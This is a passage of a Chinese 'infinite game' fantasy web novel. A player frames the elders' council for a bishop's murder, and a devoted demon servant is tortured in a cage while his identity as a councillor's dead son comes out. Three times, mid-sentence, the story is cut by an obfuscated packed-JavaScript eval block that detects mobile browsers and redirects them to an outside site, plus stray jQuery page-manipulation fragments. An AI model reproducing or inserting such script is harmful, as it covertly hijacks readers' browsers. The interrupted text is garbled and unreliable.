年蓁蓁的语速越说越快,她已经完全陷入了自己的思维当中: “你是恶魔,长老会指使你杀了教廷,说明长老会和恶魔有勾结!他们既然和恶魔有勾结,那说的话做的事也全都不能相信!” “既然长老会不能相信,那当然也不能让伟大的德洛丽丝大人,选择他们推举出来的人结婚。” 恶魔恍然大悟,跟上了年蓁蓁的思路: “你要用我当诱饵,去构陷长老会。” “对!” 年蓁蓁兴奋地点头,随后,语气又稍微犹豫了: “不过,你可能会很危险,毕竟要把你抓起来,可能还要审讯什么的……” “无所谓。” 恶魔紫罗兰色的眼睛中,也燃烧起可以被称之为狂热的东西: “要我死也无所谓。” “我要对她有用才行。这就足够了。” 他笑了,虎牙尖锐,神情轻快。 这一瞬间,他简直像个人类少年,为了爱活着,也为它去死。 18. 领主的婚礼(18) “看来不太顺利。” 离秽看着宁汐柔一片沉静的脸色,笑了一声: “要帮忙吗?” “估计你帮不上。” 宁汐柔将组合起来的权杖放在地上,看了一眼在一片夜色中依然璀璨的红宝石,摇了摇头。 虽然还是无限游戏新手,但宁汐柔隐隐有种预感,这种只差一点灵光的地方,是没办法靠硬想想出来的。 这隐藏的1%,或许比任何人想象的都简单。 “说说你想要我做什么吧?光有合作两个字,这范围可太大了。” 她又说。 这句话的意思很直白,尽管没有成功完成隐藏任务,但到底是收下了离秽送来的权杖杖身,宁汐柔不是那么没品的家伙,既然收了,就做好了付价的准备。 但她和离秽合作行动一次,但并不代表她们从此就是“盟友”关系。 比起虚无缥缈又难知其中深浅的“合作关系”,对于新人玩家宁汐柔来说,还是银货两讫的交易关系更加轻松。 “我在无限游戏里呆了超过十年了,下过的副本没有上千,也得有几百个了。” 离秽却不接这话,反而自顾自说道: “不是没见过特殊身份卡,得有十来个了吧?有意思的是,不管是菜鸟新人,还是高玩大佬,最终都没能在拿到这个身份卡之后活下来,就好像……副本一定让他们去死才罢休。” 宁汐柔没说话,静静等着离秽自己说到重点。 “不过,我还真的知道过一个没死的。所以,从他身上,我也知道了一件事。” 离秽的眼神认真起来,一字一句: “特殊身份卡真正的‘特殊’,不是在于你们可能在一次副本中拿到多好的角色。而是在于,它是和玩家终身绑定的。” 终身绑定? 听到这个词,宁汐柔心中浮现起一个不算美妙的预感。 “一般身份卡是一次性的,只在单副本里有效,也只能限定玩家们在那个副本里的身份。我们有可能在主线很重要,也有可能只是个无足轻重的路人甲。” 离秽说: “不过,这些都只影响一个副本而已。可是你们不一样,特殊身份卡,这个东西一旦和你们绑定,就会跟随你们走过每一个副本。” “在接下来的每一个副本里,你都会拿到副本中,最特殊的那个身份。就好像……每个副本,都是为了你而生一样。” 离秽的声音变得艰涩起来,仿佛不寒而栗。 让一个在无限游戏挣扎十年的顶级高玩都露出这样的神情,可见这件事代表着何等令人绝望的凶险。 宁汐柔的心也慢慢沉下来。 “当主角好像不错,但那得是爽文主角。当恐怖小说的主角,可就没那么好受了。” 离秽看着宁汐柔的眼睛: “况且,你面临的危险不仅仅是副本内的。” 宁汐柔明白离秽的意思。 她在这个副本中的身份太过显眼,即使副本里的新人玩家意识不到,但他们活着离开副本,也就将这个副本发生的一切一起带了出去。 那些无限游戏服务器里的老玩家必定能猜出来,宁汐柔是一个拿着特殊身份卡的玩家。 特殊身份卡,这个东西能在副本中心产生多大的影响力,无可估量。 那些公会一定会对她抛出橄榄枝,开出令人艳羡甚至瞠目结舌的条件来招揽她。 可即使宁汐柔选了,她最终也只能选择一个而已。 那么,其他得不到特殊身份卡的公会,会怎么做? 哪怕是为了不让自己的对手强大起来,也会拼尽全力地杀她。 “全服追杀,这可真是个殊荣。” 宁汐柔的语气很平淡,或许也因为这不是什么很难想到的事情。 人类的行为模式,不管在现代社会,还是在无限游戏,似乎都不会改变太多。 “但是,也许我可以帮你。” 离秽说。 宁汐柔看了一眼离秽,不置可否。 在一片废墟之中,高大的骑士俯下身来,和她的视线持平,几乎是呼吸相触的距离,宁汐柔没有躲开。 甲胄的寒光将月色吞噬,那张英气俊朗的面容上,神色坚定,是独属于强者的,不可撼动的自信。 所有的铺垫都结束,离秽终于说出了自己真正的目的: “加入[回程],有我在,他们不敢动你。” 骑士的身影消失在窗外,宁汐柔收回视线,握紧了手中的权杖。 书房的门被推开,伊卡瑞斯端着刚做好的巧克力慕斯,看着室内的一片狼藉,表情短暂地停滞了一下。 “大人!您还好吗?” 他将托盘放在三分之一张桌子上,快步走上前,来到宁汐柔面前。 第一次,没有得到任何指令,他将宁汐柔一把抱起来,紧张地检查着她身上有没有受伤的痕迹。 脸上和手臂都是好的,衣服上也没有血迹和伤口,伊卡瑞斯的视线向下看去。 不带任何旖旎意味,他的手撇开宁汐柔撕开的裙摆,抚过她的腿,直到看到一片完好光滑的肌肤,才松了口气一般。 “大人,请恕我失礼。” 伊卡瑞斯抬手抚上宁汐柔被刀风斩断的那缕头发,将它别在她耳后,神色有些自责: “我该早些过来的。” 他没有问发生了什么事,一个优秀的仆人清楚自己没有询问的权力。 所以,他只是在月光下,抬手为她整理好裙摆,抬起头,问: “我抱您回去休息,可以吗?” 宁汐柔的指尖顺着他的眉眼落下,掠过鼻尖,唇瓣,停留在他的下巴,让他抬头看着自己。 他凤眼狭长,墨蓝色的眸子里带着笑,被驯服的蛇藏好自己的毒牙,也甘于垂下头颅,在她掌心讨巧卖乖。 “好。” 宁汐柔收回手,闭上眼,靠进他怀中。 伊卡瑞斯抱起她,手掌护着她的腰,另一只手动作熟稔地脱下她的高跟鞋。 他踩过碎裂的玻璃和木头,很稳,很安静。 回到卧室,他将宁汐柔放在暄软的沙发上,单膝跪在地毯上,抬手为她解开头发。 宁汐柔仰起头,靠在他的手臂上,看着天花板上繁复华丽的纹样,不知道在想什么。 虚空中,副本倒计时还在继续: [任务倒计时:00:17:47:09] 进入副本三天里,发生了太多事。 谜团已经足够多了,可答案却不是。 隐藏任务卡在99%,主线任务的婚礼时限还有不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304385|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十八个小时,宁汐柔却还是没有搞清楚到底怎样才算是“真正的领主”。 领主是一个切实的爵位,可“真正”这两个字,却比想象中更复杂。 这样唯心主义的判定,有太多可能的答案。 大权在握是不是? 民心所向是不是? 还是要开疆扩土、功业累世? 好像哪个都对,所以哪个都不对。 几乎是在有记忆以来第一次,她感到疲惫。 疲惫,真是一种新奇的情绪。 她闭上眼睛,似乎睡着了。 伊卡瑞斯垂下眼,看着她的脸颊,用目光地描绘着她的五官,在一片静谧中,他连呼吸的节奏都放缓下来。 “那个人,同意了吗?” 宁汐柔没有睁开眼,枕着伊卡瑞斯的手臂,突然问。 “当然。这片领土上,没有人可以拒绝您的要求。” 伊卡瑞斯的声音里带着笑意。 宁汐柔笑了下,闭着眼睛,奖励一样,抬手拍了拍他的脸颊。 伊卡瑞斯低下头配合她的动作,隐藏在银发间的耳朵泛起一点点红色。 有一瞬间,空气中流动着的温度,就可以被称作为“温馨”。 慌乱的脚步声打破了平静。 一个男仆匆忙走进来,对着宁汐柔行礼后,声音紧绷: “大人!出事了!主教、主教被杀了!” 宁汐柔早就知道主教已死,此刻也并不惊讶。 她睁开眼,神色倦懒: “还有吗?” “教廷圣女说,是长老会勾结了恶魔眷属,刺杀了主教!” 男仆气喘吁吁: “教廷现在已经抓住了那个行刺者,现在正要执行审讯!请大人您,和长老会的克莱议员长,现在过去。” 什么? 宁汐柔坐了起来。 “教廷圣女?” 她问。 “是,伊迪丝大人。主教遇袭之后,她出示了信物,说主教在临终之前让她以圣女的名义继承教廷。” 男仆回答。 年蓁蓁在搞什么? 难道她发现了什么别的重要信息。 事情的发展一时之间超出了宁汐柔的控制。 “他们抓到的那个恶魔眷属……” 伊卡瑞斯俯在宁汐柔耳边,低声说。 “我知道。应该就是。” 宁汐柔皱起眉。 在离秽来到之前,她曾经让恶魔去刺杀主教,夺取主教手中的权杖杖身。 然而离秽到来,带来了主教已死的消息,又将杖身交给了宁汐柔。 这个任务自然也就变得不可能达成。 但这个任务不可达成,也不是惊天噩耗。 在宁汐柔的判断里,最多是恶魔回来之后,和她装可怜,撒撒娇,摇着尾巴继续围着她打转。 现在居然直接被抓了? 他有这么弱吗? “准备一下,我要去教廷。” 宁汐柔说。 “是。” 伊卡瑞斯低头领命。 离婚礼还有不到18个小时。 这场意料之外的审讯,又会带来什么意外。 她坐在马车上,透过车窗,看着逐渐暗淡的月光。 19. 领主的婚礼(19) 教廷。 虽然是深夜,但教廷中几乎所有人都聚集到了中庭。 年蓁蓁换上了并不合身的主教长袍,坐在最顶端的座位上。 随着大门缓缓打开的声音,宁汐柔走了进来。 “德洛丽丝大人。” 年蓁蓁起身,对着宁汐柔行礼。 宁汐柔点头,没有说什么,踏上阶梯,走到了年蓁蓁身边。 未来领主的身份高于在场所有人,年蓁蓁将主座让了出来,自己站在一旁。 趁着这个机会,她低声将教廷中发生的事情和宁汐柔简单复述了一遍。 时间回到几个小时前。 年蓁蓁看着主教七零八落的尸体,一个计划缓缓再心里成型。 副本倒计时的基准,是举行婚礼的时间。 因为婚礼突然的提前,所以副本倒计时才会突然缩短到不到24个小时。 那么理论上来说,如果婚礼推迟,副本倒计时也会随之推迟。 决定婚礼时限的权力在长老会。 这是恶魔带来的信息。 如果能设法困住长老会的手脚,说不定可以带来新的突破。 “你要我怎么当诱饵?直接被你抓住,然后招供长老会吗?” 恶魔问。 “那也太明显了。得是多蠢的人才会相信我能把你抓起来啊。” 年蓁蓁面露嫌弃。 恶魔翻了个白眼,轻哼一声: “哦。那怎么办。” 年蓁蓁眼珠子骨碌碌一转,计上心头。 她强忍着反胃,往自己身上脸上摸了两把血,又把脚上的高跟鞋踢开,从把主教那件掉落在血泊里的长袍拿出来,披在自己身上。 “你追杀我!” 她看着恶魔,语气坚定: “我撞见了你刺杀主教的现场,所以你要杀我灭口。我会尽最大努力引起骚动的。你到时候弄伤我也没事,但是注意力度,别让我死了。” “行。” 恶魔点点头。 “这个袍子就是主教临终托付给我的信物。” 年蓁蓁继续完善自己的故事: “他被恶魔所杀,临死发现了长老会的阴谋,所以让我一定要替他复仇!剩下的……剩下的到时候再编吧!” “恶魔眷属。” 恶魔纠正了一句。 “嗯?” 年蓁蓁没反应过来。 “我是恶魔的眷属。” 他又重复了一遍。 “哦,行吧。反正都是那一头的呗。” 年蓁蓁点点头,手握成拳,轻轻锤了下自己的胸口,深呼吸一口气,然后打开房门,光着脚开始往前跑,一边跑一边死命扯着嗓子叫: “主教大人遇刺了!——救命啊!——” 再然后,就是恶魔浑身是血地冲出来,追在年蓁蓁身后,试图将她灭口,但被教廷中人捉住,关在了笼子里。 “我这做得还行吧?” 年蓁蓁将事情复述完,带点不好意思地问宁汐柔。 “喊得有点假,其他还行。” 宁汐柔回答她,同时看向关押恶魔的笼子。 笼子被放置在中庭中央,通体用黑色的精铁制成,据年蓁蓁所说,笼子内部所有的精铁表面,都涂上了带有净化之力的药剂。 恶魔少年低着头站在中央,脸上的神色被凌乱的头发遮住,叫人看不清在想什么。 他身上布满被灼烧之后的伤口,麦色的肌肤上暗红色缓缓流淌,鲜血淋漓,连衣服也破了好几处,碎裂的布料直接贴在翻过来的皮肉上。 看上去好不凄惨。 他似乎是听到了宁汐柔的声音,缓缓抬起头来,动作迟缓。 宁汐柔知道为什么,她感受过那样的疼痛,即使只有一瞬间,也已经足以让灵魂都嘶吼着挣扎。 那双紫罗兰色的眼睛透过被血渍浸染的头发看着她。 明明身处于烈焰焚烧的痛苦中,那来自笼中的视线却仿佛一双温柔的手,抚过她的脸颊。 宁汐柔的指尖轻轻动了下。 “他就这样,在这里一直站着吗?” 不知道出于什么心情,宁汐柔问。 “嗯。” 年蓁蓁看了一眼,也有些不忍,语气里带上了一点愧疚: “我要是知道他会被这样关起来,哎……” 她叹了口气,没说完。 恶魔被抓住之后的处境,比年蓁蓁预想的要更惨。 但如果再让年蓁蓁选择一次,她大概也不会因此就放弃自己的计划。 既然如此,也就不必装什么伪善模样了。 宁汐柔听懂了年蓁蓁的意思,倒是多看了她一眼。 最开始认识的时候,年蓁蓁好像是一个传统意义上遵守着人类道德的好人。 她以为离秽要杀宁汐柔,会下意识地想要提醒对方,也会因为这个行动可能产生的,对自己不利的后果而犹豫。 在餐厅看到受伤的男玩家之后,哪怕只是一个陌生人,她也会为对方的伤势担忧,当然,担忧是担忧,这不影响她会选择回教廷,去做自己的事情。 这些行为,都让她像一个真实人类,会考虑自己立场利益,同时保持着基本的道德和善良。 不过现在看来。 她比宁汐柔之前的判断,要更复杂。 年蓁蓁似乎是个好人,但为了自己的目的,她害人的时候,也没什么下不去手的。 “你打算接下来怎么做?” 宁汐柔问。 她的视线依然没有离开恶魔的伤口。 “用刑,让他招认长老会。” 年蓁蓁的声音有些艰涩。 宁汐柔没有说话。 她走下台阶,向笼子一步步走过去。 一步,两步…… 随着她的动作,恶魔抬起头来,神色逐渐变得焦急,不断小幅度摇着头,似乎在告诉她不要靠近。 他是担心宁汐柔暴露自己和他之间的关系吗? 还是,因为什么别的? “德洛丽丝大人!” 年蓁蓁的声音在她背后响起,急切中带着疑惑。 “你是恶魔的眷属,是吗?” 宁汐柔停下脚步,站在离笼子半步远的地方,张口问道。 “……对,我就是。” 看到她的鞋子停在离笼子尚有距离的地方,他松了口气。 随后,麦色肌肤的少年抬起下巴,神色傲然地回答她。 随着他的回答,教廷中响起一阵小声的惊呼。 教廷一向视黑暗势力如剿灭的对象,此刻他们议论的内容,也无非是些对黑暗势力的憎恶谩骂。 “你杀了主教,是谁指使你的,你的主人吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314591|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁汐柔又问。 “我的主人,是这世上最伟大完美的存在,能为她献出生命,是我无上的荣幸。” 少年看着她的眼睛,声音里泛出带着痛的甜意。 哒——哒。 拐杖搭在地上的声音传来,宁汐柔转过身去,看到克莱的身影。 他应该也是匆忙中赶来,头发虽然梳得整齐,但发根处的花白没有来得及遮掩,让他的苍老一览无余。 他身后还跟着几个人,估计是长老会的其他议员。 “不过,祈求我替他们杀人的,是这个老家伙。” 少年的眼珠子一转,带着毫不掩饰的笑意,抬手指向克莱的方向。 “议员长,你竟敢刺杀主教?!” 年蓁蓁立刻接戏,做出一副惊讶中带着悲痛的神情,立刻嚎起来: “主教大人将你当做自己真诚的朋友来对待,和长老会也一直保持着友好的关系。可你为了抢走领主的权杖,竟然对他痛下杀手!这是何等残忍的行径!” 一进门就被劈头盖脸一顿骂,克莱的表情闪过一丝迷惑。 但这样的罪名砸到脑袋上,他自然是立马开口辩解: “你在说什么?主教突然遇刺,你心情悲痛,我可以理解,但正因为事关重大,才不能这样武断定论!” “伊迪丝!你怎么和长辈说话的!” 克莱话音刚落,站在他身后的一个中年男人脸色尴尬中带着怒气,看着年蓁蓁: “你在教廷带了这么久,竟然连基本的礼数都没有了?你母亲会很失望的!” 看他这副大家长逞威风的样子,估计就是伊迪丝的父亲,长老会的议员之一了。 “我现在不是以女儿或者后辈的身份说话。” 年蓁蓁的表情倒是很镇定。她现在已经掌握了控制人设的基本技巧,所以更敢行动: “我受主教大人临终托付,以圣女的身份,替他暂时引领教廷!我作为圣女,就只能以教廷为先!现在,是克莱议员长,需要解释自己!” “不过是一个黑暗眷属的话,怎么能信?” 克莱冷笑一声,反问: “小朋友,你说你有着主教临终的嘱托,好,我就算你说的是真的。那么,我也是以前任领主格洛丽亚大人的托付,带领长老院,辅佐未来的领主德洛丽丝大人的!” 克劳的拐杖重重戳在地上,掷地有声: “德洛丽丝大人的婚礼在即,一切正要走上正轨。在这大好局面的时候,我为什么要对自己的朋友下杀手?” 他说话的姿态坦荡,中气十足,一时间气势上就让人不自觉在心里打消了不少对他的怀疑。 年蓁蓁见场上众人的眼神似乎有了些微妙的变化,心下暗道不好,只能咬咬牙,握紧拳头,干脆又是一顶大锅扣上去: “你还敢拿前任领主的托付做借口?主教大人说了,当年前任领主格洛丽亚大人之死,就是你暗中所为!” 这实在是太明显的临时栽赃,年蓁蓁表面上气势汹汹,实际上已经心跳如鼓。 然而,就在她话音刚落的下一秒,系统提示音突然响起: [叮!恭喜玩家触发支线任务:前任领主之死] [任务奖励:???] [由于该玩家任务数量≥2,该任务自动变更为全体玩家共享任务,线索已发放] [请玩家继续加油!] 20. 领主的婚礼(20) [叮!恭喜玩家触发支线任务:前任领主之死] 年蓁蓁怎么又触发新任务了? 听到耳边响起的系统提示音,宁汐柔不禁在心里说了一句。 虽然系统提示,由于年蓁蓁身上的任务数量太多,这个本该属于她的支线任务被自动转为全体玩家共同任务。 但目前在场的,也只有三个玩家而已。 当初在花园中集合的玩家一共七人,四女三男。 其中三个男玩家,一死一伤,还有一个被长老会带走,都不在这。 四个女玩家中,除了离秽不知所终之外,其他三个,都在这里。 年蓁蓁唱大戏扯虎皮,靠着教廷内部的恐慌情绪,成功借机上位成了圣女,成为教廷暂时的话事人; 宁汐柔开局就拿着特殊身份卡,以德伦郡领主继承人的身份站在这里,手底下还有两个忠心的NPC为她赴汤蹈火。 还有一个,当时来到了花园集合的第七人。 她在后续的副本中似乎消失了一般,没有出现在宁汐柔的视野里。 ——这其实是不寻常的,因为宁汐柔是拿着特殊身份卡的玩家,她在理论上是这个副本所有故事的中心。 一个玩家如果没有出现在她的视野里,不会是宁汐柔的问题。 而是这个玩家从头到尾,都没有参与进剧情。 不过,她今天终于出现了。 她是个面容普通,不大起眼的中年女人,身上穿着贵族女性特有的大裙摆,身上的气质却堪称朴素。 这本该是不协调的,但不知道为什么,当人们看到她时,似乎都会下意识忽略这一点。 甚至,是忽略她整个人的存在。 她是跟在克莱的身后走进教廷的其中几人之一。 显然,她拿到的身份卡大概率也是长老会议员。 这在某种意义上也能解释,为什么她之前几乎没有在宁汐柔眼前出现过: 长老会之前的行动,几乎都是由克莱代表的。 作为玩家,她当然也听到了系统触发支线任务的提示音。 此刻,她正一脸疑惑惊讶地看着年蓁蓁的方向。 “这样恶毒的诬陷,怎么可以随意脱口而出!” 克莱的声音愤怒地扬起,尖锐高昂。他的脸色涨红起来,仿佛收到了极大的羞辱一般,眼珠子都要瞪出来。 他的表现完全符合一个无辜之人被污蔑时候的样子。 可玩家看着自己手里的支线任务,怎么也不可能相信克莱是无辜的。 倒不如说,他的据理力争,让自己显得更可疑了。 但可疑是一回事,有没有证据证明他的可疑又是另一回事。 玩家们总不能把自己的任务界面拿出来,告诉在场的所有人: 你看,系统都说了他有问题! “议员长,何必这么激动。” 宁汐柔慢悠悠地看过去。 “这样大的罪名,您觉得我不该激动吗?!” 克莱气笑了。 “这样大的隐情,难道不是我最应该激动吗?毕竟,这可是我母亲的死因。” 宁汐柔反问: “我还没有说话,议员长就在这里为自己鸣不平,是不是有些喧闹了?” “……当然。是我失礼了,没有考虑到您的心情。” 克莱被这样噎了一句,怒气冲冲也不得不咽下去,看着宁汐柔眼神愤愤,但也只能维持表面的礼数。 “突然之间被这样指认,议员长的心情,我也能理解。不过,既然圣女说了,这是主教临终前的遗言,想必也不会是完全没有理由的。” 宁汐柔说着,抬起下巴,对着年蓁蓁说: “对吧?” 她这意思很明显,就是给年蓁蓁撑腰。 克莱现在被宁汐柔用身份压住,再加上这个指控没有明显的实证,凭空扣锅的感觉太明显,他自己也不觉得能被坐实,所以才按捺住了情绪。 否则,他绝不可能让年蓁蓁继续说话。 要想在这里踩死克莱,她们就必须趁着这个空挡,赶紧拿出证据,或者至少是能镇住厂子的东西。 这个东西嘛,宁汐柔手里自然是没有的。 不过,她觉得年蓁蓁应该有。 被宁汐柔用鼓励眼神看着的年蓁蓁:……不,姐,我什么都没有。 年蓁蓁被全场所有人注视着,脸上的表情也逐渐僵硬了。 她额头上渗出薄汗,尽管极力掩饰,但还是渐渐露出牙酸的表情,求救一般看向宁汐柔。 “伊迪丝,你是先从主教那里得知了此事,才能在这里告诉我。想必主教也告诉了你一些证据吧?” 宁汐柔开口。 这句话的意思是:你触发的隐藏任务,虽然现在变成全体玩家共享的了。但是游戏系统提提到的线索,应该是下发给了你吧? “当时情景太过匆忙,主教大人只来得及和我说了这一句话,随后就……不幸离世了。我为了躲避袭击,只能奔逃出来。” 年蓁蓁回答。 这句话的意思是:触发任务之后,系统就跟挂了一样,没有单独给她任何新线索。 那线索哪去了? 宁汐柔皱眉。 游戏系统会根据玩家触发的任务进行自补全,这是宁汐柔她们已经验证过的。 况且,刚才系统还在通知里明确写到了会发放线索。 线索呢?不发给触发者年蓁蓁,也该发给其他玩家啊。 伫立在笼中的少年似乎感到了此时场上气氛的焦灼,抬起头来看向宁汐柔。 随着他的动作,遮住了半张脸的黑发向脸颊边散开,露出少年人英俊的面容。 他不是一个太擅长的演戏的人,尽管尽力掩饰了自己的神情,但眼中下意识的关怀,还是偷跑了出来。 “西维!那不是西维吗?!” 人群中爆发出一声惊呼。 “西维?你是说克莱议员长的儿子吗?” “可是他不是去年就病死了吗?议员长当时因为伤心过度,病了好一阵子呢!” “当年西维可是德伦郡最风光的人了,大家都以为他以后能有幸入赘领主庄园来着……” 议论声渐渐响起。 “可是西维是人类啊!这,这个家伙可是——” “他肯定是不想死,所以才偷偷成了恶魔的眷属!” “天呐!没有想到连西维那样洒脱的人,也不能看破生死……” 议论的内容愈发离谱了起来。 看着骚动起来的人群,听着一阵阵响亮到全场都能听见的“悄悄话”,年蓁蓁松了口气。 原来如此,这就是面向所有玩家发放的支线任务线索。 没想到这个支线任务中的系统自补全,是给NPC的身份加设定。 克莱自然也看到了笼子中少年的面容。 他仿佛看见了什么极其可恐的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329720|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,竟然面色大变,下意识向后退了半步,抬手挡在自己胸前。 这个反应可不像是见到病死的儿子。 “西维现在怎么成了这个样子?” “真是可惜啊,可惜啊!议员长原来多么看重这个儿子。” “会不会是议员长为了让儿子活下去,才叫西维去信奉恶魔的?” 随着恶魔少年身份的暴露,人们猜测的方向也逐渐将他和克莱捆绑了起来。 宁汐柔依然站在里笼子半步远的地方,神色平静地看着站在笼中的少年。 他的目光没有因为人群的骚动,或者因为自己身份的暴露而有过分毫改变。 依然是那样安静地站着,安静地看着宁汐柔。 在她的印象中,他总是很孩子气,很吵闹,毫不掩饰自己的欲望,甚至有点抖M恋痛一样,连宁汐柔给予的伤口都沉溺。 可这一刻,他站在这里,身上几乎已经没有一块完好的皮肤,却一脸平静,甚至带着温柔。 宁汐柔觉得他很有意思。 她也觉得自己很有意思。 尽管只是一瞬间,会在马上被新的思考和情绪覆盖的一瞬间。 她看着他的面容,脑海中没有想到副本,没有思考支线,也没有去想接下来该如何利用这个线索踩死克莱。 她只是想: 哦,原来他有名字。 他叫西维。 “西维。” 她叫他的名字。 “嗯。” 他看着她的眼睛,声音很轻,又很坚定地回应。 年蓁蓁想说什么,但临张嘴之前,目光扫到西维身上皮开肉绽的伤口,咬了咬牙。 她握紧了拳头,低声对自己说了句什么。 “你——” 她目光一凝,嘴里的字刚吐出来半个,却被人截过了话头。 “德洛丽丝大人!这低劣的黑暗生物,居然伪装成了我失去的儿子来栽赃我!实在是太过于蔑视您的威严!” 克莱高声说。 他的手紧紧握住了拐杖,手背上青筋暴起,脸色苍白却凶悍,眼中布满血丝,瞳孔紧缩,眼珠几乎要爆出眼眶。 不过瞬息之间,他之前那副威严得体老绅士的模样,就像一张廉价的画皮,被彻底剥了下来。 “我那可怜的儿子,英年早逝,我已经足够悲痛了!可是今天,那可怜的孩子,死后灵魂也不得安宁,要被这样的污蔑!” 克莱死死盯着宁汐柔,却余光一点也没落在笼中的西维身上。 哪怕只是在说话间意外触及,他也会以极快的速度收回目光。 “为了我那可怜的儿子,我也不能默认这样的诬陷!请您以最严厉的刑罚,审讯这个卑劣的黑暗生物,直到他说出真相为止!” 克莱仰起头,声音嘶哑,一字一句: “哪怕用上教廷所有的驱魔手段,也决不能姑息这样的卑劣之人!” 他要杀了西维。 “这恐怕——”不能如您所愿了。 宁汐柔正要这么说。 然而,一个声音抢在她之前。 “好。” 西维站在笼中,平静地点头。 随着他的动作动作,伤口被再次撕裂,露出血肉模糊的内里。 “所有的刑罚结束后,我说的就是真相了。” 他笑了。 一如从前,肆意张扬,似乎无所顾惜,包括他自己的生命。 21. 领主的婚礼(21) 教廷的刑讯手段并不复杂,用乏善可陈来形容也不过分。 但手段越少,恰恰越是证明了那唯一的方法有多好用。 被寡淡缺乏新鲜感的圣酒淋在身上,西维本就已经没一块好皮的地方,像是被烙铁印上去一样,发出血肉汽化的声音,空气中传来一阵烧焦的味道。 再能忍耐的人也无法在这样的痛苦下面无表情。 他的唇色惨白,跌坐在笼子里,脸上已经分不清是汗水还是血水。 他伤口处翻开的皮肉缓慢地蠕动着,试图自我愈合。 可愈合的速度远远比不上新伤口出现的速度,他求生的本能成为了一场荒诞,甚至可笑的表演。 “劣种!你还不说实话!” 克莱的手死死攥着拐杖,手背青筋爆出,声嘶力竭喊出声来。 “……哈、我说的本来就是、实话。” 西维说话的声音已经近乎于气音,每一个字都好像用尽力气才能挤出喉咙: “你们、人类……才会用谎言,矫饰目的。” 宁汐柔在行刑开始之前就回到了高台主座上。 她平静地看着这一切,克莱的愤怒和西维的痛苦,好像都没在她眼睛里留下痕迹。 随着西维的模样愈发凄惨,人群中动摇的声音似乎也变多了。 “都这样的还不改口,该不会他说的是真的吧?” “他说得好像也没什么错,魔物都是直接害人的,只有人才说谎……” “呸呸呸!别告诉我你们要站在恶魔眷属那边!” 议论声渐渐大起来。 越来越多的人看着西维的样子,露出不忍的神色。 虽然教廷天天说着要净化祛除黑暗中的魔鬼,他们也都跟着复述。 可是自教廷成立历来,处决过的黑暗眷属都是几十年前的记载了,是不是真的都不好说。 对于这里的绝大部分人来说,今天甚至是他们第一次相信,原来恶魔是真的存在。 人会被自己的眼睛欺骗。 这么多年,教廷已经将“恶魔眷属”,渲染成极其可恐卑劣的形象,用尽了这世上最令人反感厌恶的语言来形容。 于是,教廷中人的心里,已经有了自己的预设。 可这个预设,偏偏和西维不一样,差得太多了。 不管克莱叫了西维多少次“劣种”,用多么恶毒的语言来形容他。 在人们眼中,这个被关在笼子里的少年,就是一个长相俊俏,身量挺拔的少年人。 那些伤痕和鲜血,更如同美玉微瑕,不仅丝毫不损他的美丽,反而弱化了他身上非人的异族感,平添了一股脆弱惹人怜惜的味道。 再反观克莱。 吹胡子瞪眼的老头子,脸色涨红,气势汹汹,大有一副要西维当场死在这里的架势。 这和从前儒雅庄重的议员长克莱,完全是大相径庭。 再加上他如今还背着“杀死主教”的嫌疑,教廷中人自然怎么看他怎么不顺眼。 这样对比得越久,人就会在不自觉中,将自己的立场和判断倾向于此刻看上去更加弱小,也更加坦诚的西维。 人群中渐起的议论声,已经证明局势的改变。 克莱显然也发现了自己不能再这样僵持下去。 教廷和领主庄园已经摆明了要联手将这个刺杀主教的大罪名按在他脑袋上,拖下去对他没有好处。 他本来指望着用严刑逼供之名,直接杀了西维,没想到这小子命这么硬,居然撑到了现在。 沉默半响,克莱往前走了几步,站在了西维面前。 他站得比宁汐柔刚才要近得多,几乎贴在了笼子边上。 “你可真是忠心的狗。现在这么死咬着我,就是为了帮她吧。你以为这样她就会感动?西维,别做梦了!” 克莱压低了声音,眼神狠厉: “你是为了她才变成了这幅样子的。可是她是怎么对你的?她眼睁睁看着你受刑,她在意过吗?你越是这样摇尾乞怜,就入不了她的眼!” 西维懒洋洋抬起眼,看着克莱。 双方的目光相接,彼此都毫不相让。 明明西维才是形容凄惨的那一个,可他眼神傲然,犹如睥睨,半点没有受刑后的畏缩,眉间因压抑痛苦而生出些隐忍,显出一种残缺凄然的美。 “你爱她吗?西维。” 克莱冷笑着问,又自顾自地继续说了下去: “你当然爱。你爱她爱得发狂,连人都不想做了,变成这个样子,只想离她更近一点,是不是?可是你错了!你再爱她也没有用。她们那样的生物,根本就不可能感受到爱!也不可能去爱任何人!” “你只有一个选择,西维。如果你想和她永远在一起,你必须和我合作。” 克莱的声音缓和下来,充满了诱惑的意味: 